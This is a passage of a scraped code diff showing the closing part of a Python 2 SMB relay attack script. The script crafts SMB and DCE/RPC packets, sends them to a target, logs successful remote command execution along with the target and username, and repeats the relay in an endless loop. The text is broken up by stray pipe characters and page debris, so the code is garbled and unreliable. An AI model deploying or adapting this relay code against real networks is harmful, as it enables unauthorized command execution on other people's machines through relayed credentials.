if data[8:10] != "\x2e\x00":
|
s.send(buffer1)
|
||||||
return False
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC Read Answer.
|
||||||
|
if data[8:10] == "\x2f\x00":
|
||||||
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[8:10] == "\x2e\x00":
|
||||||
|
print "[+] Command successful !"
|
||||||
|
Logs.info('Command successful:')
|
||||||
|
Logs.info(Target+","+Username+','+CMD)
|
||||||
|
return True
|
||||||
|
if data[8:10] != "\x2e\x00":
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
def RunInloop(Target,Command,Domain):
|
def RunInloop(Target,Command,Domain):
|
||||||
try:
|
try:
|
||||||
while True:
|
while True:
|
||||||
worker = RunRelay(Target,Command,Domain)
|
worker = RunRelay(Target,Command,Domain)
|
||||||
except:
|
except:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
try:
|
try:
|
||||||
thread.start_new(RunInloop,(Target,Command,Domain))
|
thread.start_new(RunInloop,(Target,Command,Domain))
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
exit()
|
exit()
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
try:
|
try:
|
||||||
@@ -445,4 +445,3 @@ if __name__ == '__main__':
|
|||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
raise
|
raise
|
||||||
raw_input()
|
raw_input()
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user